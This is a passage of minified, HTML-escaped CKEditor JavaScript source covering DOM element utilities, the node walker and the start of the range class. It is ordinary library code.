if(CKEDITOR.env.ie&amp;&amp;8&gt;=document.documentMode){var b=this.$.scopeName;&quot;HTML&quot;!=b&amp;&amp;(a=b.toLowerCase()+&quot;:&quot;+a)}this.getName=function(){return a};return this.getName()},getValue:function(){return this.$.value},getFirst:function(a){var b=this.$.firstChild;(b=b&amp;&amp;new CKEDITOR.dom.node(b))&amp;&amp;a&amp;&amp;!a(b)&amp;&amp;(b=b.getNext(a));return b},getLast:function(a){var b=this.$.lastChild;(b=b&amp;&amp;new CKEDITOR.dom.node(b))&amp;&amp;a&amp;&amp;!a(b)&amp;&amp;(b=b.getPrevious(a));return b},getStyle:function(a){return this.$.style[CKEDITOR.tools.cssStyleToDomStyle(a)]},
is:function(){var a=this.getName();if(&quot;object&quot;==typeof arguments[0])return!!arguments[0][a];for(var b=0;b&lt;arguments.length;b++)if(arguments[b]==a)return!0;return!1},isEditable:function(a){var b=this.getName();return this.isReadOnly()||&quot;none&quot;==this.getComputedStyle(&quot;display&quot;)||&quot;hidden&quot;==this.getComputedStyle(&quot;visibility&quot;)||CKEDITOR.dtd.$nonEditable[b]||CKEDITOR.dtd.$empty[b]||this.is(&quot;a&quot;)&amp;&amp;(this.data(&quot;cke-saved-name&quot;)||this.hasAttribute(&quot;name&quot;))&amp;&amp;!this.getChildCount()?!1:!1!==a?(a=CKEDITOR.dtd[b]||
CKEDITOR.dtd.span,!(!a||!a[&quot;#&quot;])):!0},isIdentical:function(a){var b=this.clone(0,1);a=a.clone(0,1);b.removeAttributes([&quot;_moz_dirty&quot;,&quot;data-cke-expando&quot;,&quot;data-cke-saved-href&quot;,&quot;data-cke-saved-name&quot;]);a.removeAttributes([&quot;_moz_dirty&quot;,&quot;data-cke-expando&quot;,&quot;data-cke-saved-href&quot;,&quot;data-cke-saved-name&quot;]);if(b.$.isEqualNode)return b.$.style.cssText=CKEDITOR.tools.normalizeCssText(b.$.style.cssText),a.$.style.cssText=CKEDITOR.tools.normalizeCssText(a.$.style.cssText),b.$.isEqualNode(a.$);b=b.getOuterHtml();a=
a.getOuterHtml();if(CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version&amp;&amp;this.is(&quot;a&quot;)){var c=this.getParent();c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(c=c.clone(),c.setHtml(b),b=c.getHtml(),c.setHtml(a),a=c.getHtml())}return b==a},isVisible:function(){var a=(this.$.offsetHeight||this.$.offsetWidth)&amp;&amp;&quot;hidden&quot;!=this.getComputedStyle(&quot;visibility&quot;),b,c;a&amp;&amp;CKEDITOR.env.webkit&amp;&amp;(b=this.getWindow(),!b.equals(CKEDITOR.document.getWindow())&amp;&amp;(c=b.$.frameElement)&amp;&amp;(a=(new CKEDITOR.dom.element(c)).isVisible()));return!!a},isEmptyInlineRemoveable:function(){if(!CKEDITOR.dtd.$removeEmpty[this.getName()])return!1;
for(var a=this.getChildren(),b=0,c=a.count();b&lt;c;b++){var e=a.getItem(b);if(e.type!=CKEDITOR.NODE_ELEMENT||!e.data(&quot;cke-bookmark&quot;))if(e.type==CKEDITOR.NODE_ELEMENT&amp;&amp;!e.isEmptyInlineRemoveable()||e.type==CKEDITOR.NODE_TEXT&amp;&amp;CKEDITOR.tools.trim(e.getText()))return!1}return!0},hasAttributes:CKEDITOR.env.ie&amp;&amp;(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(){for(var a=this.$.attributes,b=0;b&lt;a.length;b++){var c=a[b];switch(c.nodeName){case &quot;class&quot;:if(this.getAttribute(&quot;class&quot;))return!0;case &quot;data-cke-expando&quot;:continue;
default:if(c.specified)return!0}}return!1}:function(){var a=this.$.attributes,b=a.length,c={&quot;data-cke-expando&quot;:1,_moz_dirty:1};return 0&lt;b&amp;&amp;(2&lt;b||!c[a[0].nodeName]||2==b&amp;&amp;!c[a[1].nodeName])},hasAttribute:function(){function a(b){var c=this.$.attributes.getNamedItem(b);if(&quot;input&quot;==this.getName())switch(b){case &quot;class&quot;:return 0&lt;this.$.className.length;case &quot;checked&quot;:return!!this.$.checked;case &quot;value&quot;:return b=this.getAttribute(&quot;type&quot;),&quot;checkbox&quot;==b||&quot;radio&quot;==b?&quot;on&quot;!=this.$.value:!!this.$.value}return c?
c.specified:!1}return CKEDITOR.env.ie?8&gt;CKEDITOR.env.version?function(b){return&quot;name&quot;==b?!!this.$.name:a.call(this,b)}:a:function(a){return!!this.$.attributes.getNamedItem(a)}}(),hide:function(){this.setStyle(&quot;display&quot;,&quot;none&quot;)},moveChildren:function(a,b){var c=this.$;a=a.$;if(c!=a){var e;if(b)for(;e=c.lastChild;)a.insertBefore(c.removeChild(e),a.firstChild);else for(;e=c.firstChild;)a.appendChild(c.removeChild(e))}},mergeSiblings:function(){function a(b,c,e){if(c&amp;&amp;c.type==CKEDITOR.NODE_ELEMENT){for(var d=
[];c.data(&quot;cke-bookmark&quot;)||c.isEmptyInlineRemoveable();)if(d.push(c),c=e?c.getNext():c.getPrevious(),!c||c.type!=CKEDITOR.NODE_ELEMENT)return;if(b.isIdentical(c)){for(var h=e?b.getLast():b.getFirst();d.length;)d.shift().move(b,!e);c.moveChildren(b,!e);c.remove();h&amp;&amp;h.type==CKEDITOR.NODE_ELEMENT&amp;&amp;h.mergeSiblings()}}}return function(b){if(!1===b||CKEDITOR.dtd.$removeEmpty[this.getName()]||this.is(&quot;a&quot;))a(this,this.getNext(),!0),a(this,this.getPrevious())}}(),show:function(){this.setStyles({display:&quot;&quot;,
visibility:&quot;&quot;})},setAttribute:function(){var a=function(a,b){this.$.setAttribute(a,b);return this};return CKEDITOR.env.ie&amp;&amp;(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(b,c){&quot;class&quot;==b?this.$.className=c:&quot;style&quot;==b?this.$.style.cssText=c:&quot;tabindex&quot;==b?this.$.tabIndex=c:&quot;checked&quot;==b?this.$.checked=c:&quot;contenteditable&quot;==b?a.call(this,&quot;contentEditable&quot;,c):a.apply(this,arguments);return this}:CKEDITOR.env.ie8Compat&amp;&amp;CKEDITOR.env.secure?function(b,c){if(&quot;src&quot;==b&amp;&amp;c.match(/^http:\/\//))try{a.apply(this,
arguments)}catch(e){}else a.apply(this,arguments);return this}:a}(),setAttributes:function(a){for(var b in a)this.setAttribute(b,a[b]);return this},setValue:function(a){this.$.value=a;return this},removeAttribute:function(){var a=function(a){this.$.removeAttribute(a)};return CKEDITOR.env.ie&amp;&amp;(CKEDITOR.env.ie7Compat||CKEDITOR.env.quirks)?function(a){&quot;class&quot;==a?a=&quot;className&quot;:&quot;tabindex&quot;==a?a=&quot;tabIndex&quot;:&quot;contenteditable&quot;==a&amp;&amp;(a=&quot;contentEditable&quot;);this.$.removeAttribute(a)}:a}(),removeAttributes:function(a){if(CKEDITOR.tools.isArray(a))for(var b=
0;b&lt;a.length;b++)this.removeAttribute(a[b]);else for(b in a=a||this.getAttributes(),a)a.hasOwnProperty(b)&amp;&amp;this.removeAttribute(b)},removeStyle:function(a){var b=this.$.style;if(b.removeProperty||&quot;border&quot;!=a&amp;&amp;&quot;margin&quot;!=a&amp;&amp;&quot;padding&quot;!=a)b.removeProperty?b.removeProperty(a):b.removeAttribute(CKEDITOR.tools.cssStyleToDomStyle(a)),this.$.style.cssText||this.removeAttribute(&quot;style&quot;);else{var c=[&quot;top&quot;,&quot;left&quot;,&quot;right&quot;,&quot;bottom&quot;],e;&quot;border&quot;==a&amp;&amp;(e=[&quot;color&quot;,&quot;style&quot;,&quot;width&quot;]);for(var b=[],d=0;d&lt;c.length;d++)if(e)for(var w=
0;w&lt;e.length;w++)b.push([a,c[d],e[w]].join(&quot;-&quot;));else b.push([a,c[d]].join(&quot;-&quot;));for(a=0;a&lt;b.length;a++)this.removeStyle(b[a])}},setStyle:function(a,b){this.$.style[CKEDITOR.tools.cssStyleToDomStyle(a)]=b;return this},setStyles:function(a){for(var b in a)this.setStyle(b,a[b]);return this},setOpacity:function(a){CKEDITOR.env.ie&amp;&amp;9&gt;CKEDITOR.env.version?(a=Math.round(100*a),this.setStyle(&quot;filter&quot;,100&lt;=a?&quot;&quot;:&quot;progid:DXImageTransform.Microsoft.Alpha(opacity\x3d&quot;+a+&quot;)&quot;)):this.setStyle(&quot;opacity&quot;,a)},unselectable:function(){this.setStyles(CKEDITOR.tools.cssVendorPrefix(&quot;user-select&quot;,
&quot;none&quot;));if(CKEDITOR.env.ie){this.setAttribute(&quot;unselectable&quot;,&quot;on&quot;);for(var a,b=this.getElementsByTag(&quot;*&quot;),c=0,e=b.count();c&lt;e;c++)a=b.getItem(c),a.setAttribute(&quot;unselectable&quot;,&quot;on&quot;)}},getPositionedAncestor:function(){for(var a=this;&quot;html&quot;!=a.getName();){if(&quot;static&quot;!=a.getComputedStyle(&quot;position&quot;))return a;a=a.getParent()}return null},getDocumentPosition:function(a){var b=0,c=0,e=this.getDocument(),d=e.getBody(),w=&quot;BackCompat&quot;==e.$.compatMode;if(document.documentElement.getBoundingClientRect&amp;&amp;(CKEDITOR.env.ie?
8!==CKEDITOR.env.version:1)){var f=this.$.getBoundingClientRect(),g=e.$.documentElement,v=g.clientTop||d.$.clientTop||0,m=g.clientLeft||d.$.clientLeft||0,k=!0;CKEDITOR.env.ie&amp;&amp;(k=e.getDocumentElement().contains(this),e=e.getBody().contains(this),k=w&amp;&amp;e||!w&amp;&amp;k);k&amp;&amp;(CKEDITOR.env.webkit||CKEDITOR.env.ie&amp;&amp;12&lt;=CKEDITOR.env.version?(b=d.$.scrollLeft||g.scrollLeft,c=d.$.scrollTop||g.scrollTop):(c=w?d.$:g,b=c.scrollLeft,c=c.scrollTop),b=f.left+b-m,c=f.top+c-v)}else for(v=this,m=null;v&amp;&amp;&quot;body&quot;!=v.getName()&amp;&amp;
&quot;html&quot;!=v.getName();){b+=v.$.offsetLeft-v.$.scrollLeft;c+=v.$.offsetTop-v.$.scrollTop;v.equals(this)||(b+=v.$.clientLeft||0,c+=v.$.clientTop||0);for(;m&amp;&amp;!m.equals(v);)b-=m.$.scrollLeft,c-=m.$.scrollTop,m=m.getParent();m=v;v=(f=v.$.offsetParent)?new CKEDITOR.dom.element(f):null}a&amp;&amp;(f=this.getWindow(),v=a.getWindow(),!f.equals(v)&amp;&amp;f.$.frameElement&amp;&amp;(a=(new CKEDITOR.dom.element(f.$.frameElement)).getDocumentPosition(a),b+=a.x,c+=a.y));document.documentElement.getBoundingClientRect||!CKEDITOR.env.gecko||
w||(b+=this.$.clientLeft?1:0,c+=this.$.clientTop?1:0);return{x:b,y:c}},scrollIntoView:function(a){var b=this.getParent();if(b){do if((b.$.clientWidth&amp;&amp;b.$.clientWidth&lt;b.$.scrollWidth||b.$.clientHeight&amp;&amp;b.$.clientHeight&lt;b.$.scrollHeight)&amp;&amp;!b.is(&quot;body&quot;)&amp;&amp;this.scrollIntoParent(b,a,1),b.is(&quot;html&quot;)){var c=b.getWindow();try{var e=c.$.frameElement;e&amp;&amp;(b=new CKEDITOR.dom.element(e))}catch(d){}}while(b=b.getParent())}},scrollIntoParent:function(a,b,c){var e,d,w,f;function g(b,c){/body|html/.test(a.getName())?
a.getWindow().$.scrollBy(b,c):(a.$.scrollLeft+=b,a.$.scrollTop+=c)}function v(a,b){var c={x:0,y:0};if(!a.is(k?&quot;body&quot;:&quot;html&quot;)){var e=a.$.getBoundingClientRect();c.x=e.left;c.y=e.top}e=a.getWindow();e.equals(b)||(e=v(CKEDITOR.dom.element.get(e.$.frameElement),b),c.x+=e.x,c.y+=e.y);return c}function m(a,b){return parseInt(a.getComputedStyle(&quot;margin-&quot;+b)||0,10)||0}!a&amp;&amp;(a=this.getWindow());w=a.getDocument();var k=&quot;BackCompat&quot;==w.$.compatMode;a instanceof CKEDITOR.dom.window&amp;&amp;(a=k?w.getBody():w.getDocumentElement());
CKEDITOR.env.webkit&amp;&amp;(w=this.getEditor(!1))&amp;&amp;(w._.previousScrollTop=null);w=a.getWindow();d=v(this,w);var u=v(a,w),H=this.$.offsetHeight;e=this.$.offsetWidth;var n=a.$.clientHeight,r=a.$.clientWidth;w=d.x-m(this,&quot;left&quot;)-u.x||0;f=d.y-m(this,&quot;top&quot;)-u.y||0;e=d.x+e+m(this,&quot;right&quot;)-(u.x+r)||0;d=d.y+H+m(this,&quot;bottom&quot;)-(u.y+n)||0;(0&gt;f||0&lt;d)&amp;&amp;g(0,!0===b?f:!1===b?d:0&gt;f?f:d);c&amp;&amp;(0&gt;w||0&lt;e)&amp;&amp;g(0&gt;w?w:e,0)},setState:function(a,b,c){b=b||&quot;cke&quot;;switch(a){case CKEDITOR.TRISTATE_ON:this.addClass(b+&quot;_on&quot;);this.removeClass(b+
&quot;_off&quot;);this.removeClass(b+&quot;_disabled&quot;);c&amp;&amp;this.setAttribute(&quot;aria-pressed&quot;,!0);c&amp;&amp;this.removeAttribute(&quot;aria-disabled&quot;);break;case CKEDITOR.TRISTATE_DISABLED:this.addClass(b+&quot;_disabled&quot;);this.removeClass(b+&quot;_off&quot;);this.removeClass(b+&quot;_on&quot;);c&amp;&amp;this.setAttribute(&quot;aria-disabled&quot;,!0);c&amp;&amp;this.removeAttribute(&quot;aria-pressed&quot;);break;default:this.addClass(b+&quot;_off&quot;),this.removeClass(b+&quot;_on&quot;),this.removeClass(b+&quot;_disabled&quot;),c&amp;&amp;this.removeAttribute(&quot;aria-pressed&quot;),c&amp;&amp;this.removeAttribute(&quot;aria-disabled&quot;)}},
getFrameDocument:function(){var a=this.$;try{a.contentWindow.document}catch(b){a.src=a.src}return a&amp;&amp;new CKEDITOR.dom.document(a.contentWindow.document)},copyAttributes:function(a,b){var c=this.$.attributes;b=b||{};for(var e=0;e&lt;c.length;e++){var d=c[e],w=d.nodeName.toLowerCase(),f;if(!(w in b))if(&quot;checked&quot;==w&amp;&amp;(f=this.getAttribute(w)))a.setAttribute(w,f);else if(!CKEDITOR.env.ie||this.hasAttribute(w))f=this.getAttribute(w),null===f&amp;&amp;(f=d.nodeValue),a.setAttribute(w,f)}&quot;&quot;!==this.$.style.cssText&amp;&amp;
(a.$.style.cssText=this.$.style.cssText)},renameNode:function(a){if(this.getName()!=a){var b=this.getDocument();a=new CKEDITOR.dom.element(a,b);this.copyAttributes(a);this.moveChildren(a);this.getParent(!0)&amp;&amp;this.$.parentNode.replaceChild(a.$,this.$);a.$[&quot;data-cke-expando&quot;]=this.$[&quot;data-cke-expando&quot;];this.$=a.$;delete this.getName}},getChild:function(){function a(b,c){var e=b.childNodes;if(0&lt;=c&amp;&amp;c&lt;e.length)return e[c]}return function(b){var c=this.$;if(b.slice)for(b=b.slice();0&lt;b.length&amp;&amp;c;)c=a(c,
b.shift());else c=a(c,b);return c?new CKEDITOR.dom.node(c):null}}(),getChildCount:function(){return this.$.childNodes.length},disableContextMenu:function(){function a(b){return b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.hasClass(&quot;cke_enable_context_menu&quot;)}this.on(&quot;contextmenu&quot;,function(b){b.data.getTarget().getAscendant(a,!0)||b.data.preventDefault()})},getDirection:function(a){return a?this.getComputedStyle(&quot;direction&quot;)||this.getDirection()||this.getParent()&amp;&amp;this.getParent().getDirection(1)||this.getDocument().$.dir||
&quot;ltr&quot;:this.getStyle(&quot;direction&quot;)||this.getAttribute(&quot;dir&quot;)},data:function(a,b){a=&quot;data-&quot;+a;if(void 0===b)return this.getAttribute(a);!1===b?this.removeAttribute(a):this.setAttribute(a,b);return null},getEditor:function(a){var b=CKEDITOR.instances,c,e,d;a=a||void 0===a;for(c in b)if(e=b[c],e.element.equals(this)&amp;&amp;e.elementMode!=CKEDITOR.ELEMENT_MODE_APPENDTO||!a&amp;&amp;(d=e.editable())&amp;&amp;(d.equals(this)||d.contains(this)))return e;return null},find:function(a){var c=d(this);a=new CKEDITOR.dom.nodeList(this.$.querySelectorAll(b(this,
a)));c();return a},findOne:function(a){var c=d(this);a=this.$.querySelector(b(this,a));c();return a?new CKEDITOR.dom.element(a):null},forEach:function(a,b,c){if(!(c||b&amp;&amp;this.type!=b))var e=a(this);if(!1!==e){c=this.getChildren();for(var d=0;d&lt;c.count();d++)e=c.getItem(d),e.type==CKEDITOR.NODE_ELEMENT?e.forEach(a,b):b&amp;&amp;e.type!=b||a(e)}}});var k={width:[&quot;border-left-width&quot;,&quot;border-right-width&quot;,&quot;padding-left&quot;,&quot;padding-right&quot;],height:[&quot;border-top-width&quot;,&quot;border-bottom-width&quot;,&quot;padding-top&quot;,&quot;padding-bottom&quot;]};
CKEDITOR.dom.element.prototype.setSize=function(a,b,d){&quot;number&quot;==typeof b&amp;&amp;(!d||CKEDITOR.env.ie&amp;&amp;CKEDITOR.env.quirks||(b-=c.call(this,a)),this.setStyle(a,b+&quot;px&quot;))};CKEDITOR.dom.element.prototype.getSize=function(a,b){var d=Math.max(this.$[&quot;offset&quot;+CKEDITOR.tools.capitalize(a)],this.$[&quot;client&quot;+CKEDITOR.tools.capitalize(a)])||0;b&amp;&amp;(d-=c.call(this,a));return d}})();CKEDITOR.dom.documentFragment=function(a){a=a||CKEDITOR.document;this.$=a.type==CKEDITOR.NODE_DOCUMENT?a.$.createDocumentFragment():a};
CKEDITOR.tools.extend(CKEDITOR.dom.documentFragment.prototype,CKEDITOR.dom.element.prototype,{type:CKEDITOR.NODE_DOCUMENT_FRAGMENT,insertAfterNode:function(a){a=a.$;a.parentNode.insertBefore(this.$,a.nextSibling)},getHtml:function(){var a=new CKEDITOR.dom.element(&quot;div&quot;);this.clone(1,1).appendTo(a);return a.getHtml().replace(/\s*data-cke-expando=&quot;.*?&quot;/g,&quot;&quot;)}},!0,{append:1,appendBogus:1,clone:1,getFirst:1,getHtml:1,getLast:1,getParent:1,getNext:1,getPrevious:1,appendTo:1,moveChildren:1,insertBefore:1,
insertAfterNode:1,replace:1,trim:1,type:1,ltrim:1,rtrim:1,getDocument:1,getChildCount:1,getChild:1,getChildren:1});
(function(){function a(a,b){var c=this.range;if(this._.end)return null;if(!this._.start){this._.start=1;if(c.collapsed)return this.end(),null;c.optimize()}var e,d=c.startContainer;e=c.endContainer;var f=c.startOffset,x=c.endOffset,g,n=this.guard,r=this.type,C=a?&quot;getPreviousSourceNode&quot;:&quot;getNextSourceNode&quot;;if(!a&amp;&amp;!this._.guardLTR){var L=e.type==CKEDITOR.NODE_ELEMENT?e:e.getParent(),D=e.type==CKEDITOR.NODE_ELEMENT?e.getChild(x):e.getNext();this._.guardLTR=function(a,b){return(!b||!L.equals(a))&amp;&amp;(!D||
!a.equals(D))&amp;&amp;(a.type!=CKEDITOR.NODE_ELEMENT||!b||!a.equals(c.root))}}if(a&amp;&amp;!this._.guardRTL){var h=d.type==CKEDITOR.NODE_ELEMENT?d:d.getParent(),t=d.type==CKEDITOR.NODE_ELEMENT?f?d.getChild(f-1):null:d.getPrevious();this._.guardRTL=function(a,b){return(!b||!h.equals(a))&amp;&amp;(!t||!a.equals(t))&amp;&amp;(a.type!=CKEDITOR.NODE_ELEMENT||!b||!a.equals(c.root))}}var E=a?this._.guardRTL:this._.guardLTR;g=n?function(a,b){return!1===E(a,b)?!1:n(a,b)}:E;this.current?e=this.current[C](!1,r,g):(a?e.type==CKEDITOR.NODE_ELEMENT&amp;&amp;
(e=0&lt;x?e.getChild(x-1):!1===g(e,!0)?null:e.getPreviousSourceNode(!0,r,g)):(e=d,e.type==CKEDITOR.NODE_ELEMENT&amp;&amp;((e=e.getChild(f))||(e=!1===g(d,!0)?null:d.getNextSourceNode(!0,r,g)))),e&amp;&amp;!1===g(e)&amp;&amp;(e=null));for(;e&amp;&amp;!this._.end;){this.current=e;if(!this.evaluator||!1!==this.evaluator(e)){if(!b)return e}else if(b&amp;&amp;this.evaluator)return!1;e=e[C](!1,r,g)}this.end();return this.current=null}function d(b){for(var c,e=null;c=a.call(this,b);)e=c;return e}CKEDITOR.dom.walker=CKEDITOR.tools.createClass({$:function(a){this.range=
a;this._={}},proto:{end:function(){this._.end=1},next:function(){return a.call(this)},previous:function(){return a.call(this,1)},checkForward:function(){return!1!==a.call(this,0,1)},checkBackward:function(){return!1!==a.call(this,1,1)},lastForward:function(){return d.call(this)},lastBackward:function(){return d.call(this,1)},reset:function(){delete this.current;this._={}}}});var b={block:1,&quot;list-item&quot;:1,table:1,&quot;table-row-group&quot;:1,&quot;table-header-group&quot;:1,&quot;table-footer-group&quot;:1,&quot;table-row&quot;:1,&quot;table-column-group&quot;:1,
&quot;table-column&quot;:1,&quot;table-cell&quot;:1,&quot;table-caption&quot;:1},c={absolute:1,fixed:1};CKEDITOR.dom.element.prototype.isBlockBoundary=function(a){return&quot;none&quot;!=this.getComputedStyle(&quot;float&quot;)||this.getComputedStyle(&quot;position&quot;)in c||!b[this.getComputedStyle(&quot;display&quot;)]?!!(this.is(CKEDITOR.dtd.$block)||a&amp;&amp;this.is(a)):!0};CKEDITOR.dom.walker.blockBoundary=function(a){return function(b){return!(b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;b.isBlockBoundary(a))}};CKEDITOR.dom.walker.listItemBoundary=function(){return this.blockBoundary({br:1})};
CKEDITOR.dom.walker.bookmark=function(a,b){function c(a){return a&amp;&amp;a.getName&amp;&amp;&quot;span&quot;==a.getName()&amp;&amp;a.data(&quot;cke-bookmark&quot;)}return function(e){var d,f;d=e&amp;&amp;e.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;(f=e.getParent())&amp;&amp;c(f);d=a?d:d||c(e);return!!(b^d)}};CKEDITOR.dom.walker.whitespaces=function(a){return function(b){var c;b&amp;&amp;b.type==CKEDITOR.NODE_TEXT&amp;&amp;(c=!CKEDITOR.tools.trim(b.getText())||CKEDITOR.env.webkit&amp;&amp;b.getText()==CKEDITOR.dom.selection.FILLING_CHAR_SEQUENCE);return!!(a^c)}};CKEDITOR.dom.walker.invisible=
function(a){var b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.env.webkit?1:0;return function(e){b(e)?e=1:(e.type==CKEDITOR.NODE_TEXT&amp;&amp;(e=e.getParent()),e=e.$.offsetWidth&lt;=c);return!!(a^e)}};CKEDITOR.dom.walker.nodeType=function(a,b){return function(c){return!!(b^c.type==a)}};CKEDITOR.dom.walker.bogus=function(a){function b(a){return!g(a)&amp;&amp;!k(a)}return function(c){var e=CKEDITOR.env.needsBrFiller?c.is&amp;&amp;c.is(&quot;br&quot;):c.getText&amp;&amp;f.test(c.getText());e&amp;&amp;(e=c.getParent(),c=c.getNext(b),e=e.isBlockBoundary()&amp;&amp;
(!c||c.type==CKEDITOR.NODE_ELEMENT&amp;&amp;c.isBlockBoundary()));return!!(a^e)}};CKEDITOR.dom.walker.temp=function(a){return function(b){b.type!=CKEDITOR.NODE_ELEMENT&amp;&amp;(b=b.getParent());b=b&amp;&amp;b.hasAttribute(&quot;data-cke-temp&quot;);return!!(a^b)}};var f=/^[\t\r\n ]*(?:&amp;nbsp;|\xa0)$/,g=CKEDITOR.dom.walker.whitespaces(),k=CKEDITOR.dom.walker.bookmark(),h=CKEDITOR.dom.walker.temp(),p=function(a){return k(a)||g(a)||a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.is(CKEDITOR.dtd.$inline)&amp;&amp;!a.is(CKEDITOR.dtd.$empty)};CKEDITOR.dom.walker.ignored=
function(a){return function(b){b=g(b)||k(b)||h(b);return!!(a^b)}};var q=CKEDITOR.dom.walker.ignored();CKEDITOR.dom.walker.empty=function(a){return function(b){for(var c=0,e=b.getChildCount();c&lt;e;++c)if(!q(b.getChild(c)))return!!a;return!a}};var e=CKEDITOR.dom.walker.empty(),x=CKEDITOR.dom.walker.validEmptyBlockContainers=CKEDITOR.tools.extend(function(a){var b={},c;for(c in a)CKEDITOR.dtd[c][&quot;#&quot;]&amp;&amp;(b[c]=1);return b}(CKEDITOR.dtd.$block),{caption:1,td:1,th:1});CKEDITOR.dom.walker.editable=function(a){return function(b){b=
q(b)?!1:b.type==CKEDITOR.NODE_TEXT||b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(b.is(CKEDITOR.dtd.$inline)||b.is(&quot;hr&quot;)||&quot;false&quot;==b.getAttribute(&quot;contenteditable&quot;)||!CKEDITOR.env.needsBrFiller&amp;&amp;b.is(x)&amp;&amp;e(b))?!0:!1;return!!(a^b)}};CKEDITOR.dom.element.prototype.getBogus=function(){var a=this;do a=a.getPreviousSourceNode();while(p(a));return a&amp;&amp;(CKEDITOR.env.needsBrFiller?a.is&amp;&amp;a.is(&quot;br&quot;):a.getText&amp;&amp;f.test(a.getText()))?a:!1}})();
CKEDITOR.dom.range=function(a){this.endOffset=this.endContainer=this.startOffset=this.startContainer=null;this.collapsed=!0;var d=a instanceof CKEDITOR.dom.document;this.document=d?a:a.getDocument();this.root=d?a.getBody():a};
(function(){function a(a){a.collapsed=a.startContainer&amp;&amp;a.endContainer&amp;&amp;a.startContainer.equals(a.endContainer)&amp;&amp;a.startOffset==a.endOffset}function d(a,b,c,d,f){function g(a,b,c,e){var G=c?a.getPrevious():a.getNext();if(e&amp;&amp;k)return G;n||e?b.append(a.clone(!0,f),c):(a.remove(),q&amp;&amp;b.append(a,c));return G}function m(){var a,b,c,e=Math.min(O.length,l.length);for(a=0;a&lt;e;a++)if(b=O[a],c=l[a],!b.equals(c))return a;return a-1}function h(){var b=K-1,c=E&amp;&amp;y&amp;&amp;!r.equals(C);b&lt;B-1||b&lt;A-1||c?(c?a.moveToPosition(C,
CKEDITOR.POSITION_BEFORE_START):A==b+1&amp;&amp;t?a.moveToPosition(l[b],CKEDITOR.POSITION_BEFORE_END):a.moveToPosition(l[b+1],CKEDITOR.POSITION_BEFORE_START),d&amp;&amp;(b=O[b+1])&amp;&amp;b.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(c=CKEDITOR.dom.element.createFromHtml(&#039;\x3cspan data-cke-bookmark\x3d&quot;1&quot; style\x3d&quot;display:none&quot;\x3e\x26nbsp;\x3c/span\x3e&#039;,a.document),c.insertAfter(b),b.mergeSiblings(!1),a.moveToBookmark({startNode:c}))):a.collapse(!0)}a.optimizeBookmark();var k=0===b,q=1==b,n=2==b;b=n||q;var r=a.startContainer,C=a.endContainer,
L=a.startOffset,D=a.endOffset,N,t,E,y,I,P;if(n&amp;&amp;C.type==CKEDITOR.NODE_TEXT&amp;&amp;(r.equals(C)||r.type===CKEDITOR.NODE_ELEMENT&amp;&amp;r.getFirst().equals(C)))c.append(a.document.createText(C.substring(L,D)));else{C.type==CKEDITOR.NODE_TEXT?n?P=!0:C=C.split(D):0&lt;C.getChildCount()?D&gt;=C.getChildCount()?(C=C.getChild(D-1),t=!0):C=C.getChild(D):y=t=!0;r.type==CKEDITOR.NODE_TEXT?n?I=!0:r.split(L):0&lt;r.getChildCount()?0===L?(r=r.getChild(L),N=!0):r=r.getChild(L-1):E=N=!0;for(var O=r.getParents(),l=C.getParents(),K=m(),
B=O.length-1,A=l.length-1,J=c,G,X,V,da=-1,Q=K;Q&lt;=B;Q++){X=O[Q];V=X.getNext();for(Q!=B||X.equals(l[Q])&amp;&amp;B&lt;A?b&amp;&amp;(G=J.append(X.clone(0,f))):N?g(X,J,!1,E):I&amp;&amp;J.append(a.document.createText(X.substring(L)));V;){if(V.equals(l[Q])){da=Q;break}V=g(V,J)}J=G}J=c;for(Q=K;Q&lt;=A;Q++)if(c=l[Q],V=c.getPrevious(),c.equals(O[Q]))b&amp;&amp;(J=J.getChild(0));else{Q!=A||c.equals(O[Q])&amp;&amp;A&lt;B?b&amp;&amp;(G=J.append(c.clone(0,f))):t?g(c,J,!1,y):P&amp;&amp;J.append(a.document.createText(c.substring(0,D)));if(Q&gt;da)for(;V;)V=g(V,J,!0);J=G}n||h()}}
function b(){var a=!1,b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.dom.walker.bookmark(!0),d=CKEDITOR.dom.walker.bogus();return function(f){return c(f)||b(f)?!0:d(f)&amp;&amp;!a?a=!0:f.type==CKEDITOR.NODE_TEXT&amp;&amp;(f.hasAscendant(&quot;pre&quot;)||CKEDITOR.tools.trim(f.getText()).length)||f.type==CKEDITOR.NODE_ELEMENT&amp;&amp;!f.is(g)?!1:!0}}function c(a){var b=CKEDITOR.dom.walker.whitespaces(),c=CKEDITOR.dom.walker.bookmark(1);return function(d){return c(d)||b(d)?!0:!a&amp;&amp;k(d)||d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.is(CKEDITOR.dtd.$removeEmpty)}}
function f(a){return function(){var b;return this[a?&quot;getPreviousNode&quot;:&quot;getNextNode&quot;](function(a){!b&amp;&amp;q(a)&amp;&amp;(b=a);return p(a)&amp;&amp;!(k(a)&amp;&amp;a.equals(b))})}}var g={abbr:1,acronym:1,b:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,font:1,i:1,ins:1,label:1,kbd:1,q:1,samp:1,small:1,span:1,strike:1,strong:1,sub:1,sup:1,tt:1,u:1,&quot;var&quot;:1},k=CKEDITOR.dom.walker.bogus(),h=/^[\t\r\n ]*(?:&amp;nbsp;|\xa0)$/,p=CKEDITOR.dom.walker.editable(),q=CKEDITOR.dom.walker.ignored(!0);CKEDITOR.dom.range.prototype={clone:function(){var a=
new CKEDITOR.dom.range(this.root);a._setStartContainer(this.startContainer);a.startOffset=this.startOffset;a._setEndContainer(this.endContainer);a.endOffset=this.endOffset;a.collapsed=this.collapsed;return a},collapse:function(a){a?(this._setEndContainer(this.startContainer),this.endOffset=this.startOffset):(this._setStartContainer(this.endContainer),this.startOffset=this.endOffset);this.collapsed=!0},cloneContents:function(a){var b=new CKEDITOR.dom.documentFragment(this.document);this.collapsed||
